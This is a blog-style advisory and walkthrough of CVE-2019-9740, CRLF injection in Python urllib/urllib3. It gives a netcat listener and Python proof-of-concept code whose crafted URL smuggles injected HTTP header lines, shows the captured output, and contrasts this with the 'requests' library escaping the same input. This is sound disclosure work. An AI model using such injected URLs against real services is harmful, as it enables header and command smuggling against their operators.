CVE-2019-9740 – Python urllib CRLF injection vulnerability

On March 12, 2019 NIST reports the CVE-2019-9740 about a Python (2.x and 3.x) URLLib3 URL handling vulnerability.

IMPORTANT: Python “requests” library is not vulnerable.
Check the demonstration in the end of this article.

An issue was discovered in urllib2 in Python 2.x through 2.7.16 and urllib in Python 3.x through 3.7.2. CRLF injection is possible if the attacker controls a url parameter, as demonstrated by the first argument to urllib.request.urlopen with \r\n followed by an HTTP header or a Redis command.

In this article we will discuss about that report, put our hands on into the proof of concept and we try to reproduce the same vulnerability using the Python “requests” library.

This vulnerability is also reported on Python Bug List at ( and

That’s vulnerability was categorized as Medium Risk, Network Level Attack. In other means, the attacker can manipulate the HTTP Header from requests using urllib3, because urllib3 do not correctly handle the URL in self, allowing the attacker to use CRLF (\r\n) to alter the result HTTP protocol before the library send the request to the remote server.

POC (Proof of Concept)

The proof of concept consist into 2 basic steps:

  • Open a simple server (using Netcat)
  • Make a request using urllib3

POC: Running the Server

Easy as eating pancakes, just run Netcat as follow:

nc -l -p 7777

POC: Running Python Program

import urllib.request
import urllib3

pool_manager = urllib3.PoolManager()

host = "localhost:7777?a=1 HTTP/1.1\r\nX-injected: header\r\nTEST: 123"

url = "http://" + host + ":8080/test/?test=a"

    info = pool_manager.request('GET', url)
except urllib.error.URLError as e:

POC: Results

As expected, the results show us the truth.

GET /?a=1 HTTP/1.1
X-injected: header
TEST: 123:8080/test/?test=a HTTP/1.1
Host: localhost:7777
Accept-Encoding: identity

Injection successfully. Our injected header (X-injected) are present.

Python “requests” Library is Safe

First of all, the “requests” library is not vulnerable. You can breathe now.

Start netcat command as above, and run the POC code below.

import requests

host = "localhost:7777?a=1 HTTP/1.1\r\nX-injected: header\r\nTEST: 123"
url = "http://" + host + ":8080/test/?test=a"

    info = requests.get(url)

except Exception as ex:

Our netcat result is:

GET /?a=1%20HTTP/1.1%0D%0AX-injected:%20header%0D%0ATEST:%20123:8080/test/?test=a HTTP/1.1
Host: localhost:7777
User-Agent: python-requests/2.21.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

In other worlds, our malicious header (X-injected) are not present, because “requests” library correctly handle the URL parameter.

That’s all. Breathe and keep you eyes in any Python Vulnerability.

Fly Safe to you all.

Leave a Reply

Your email address will not be published. Required fields are marked *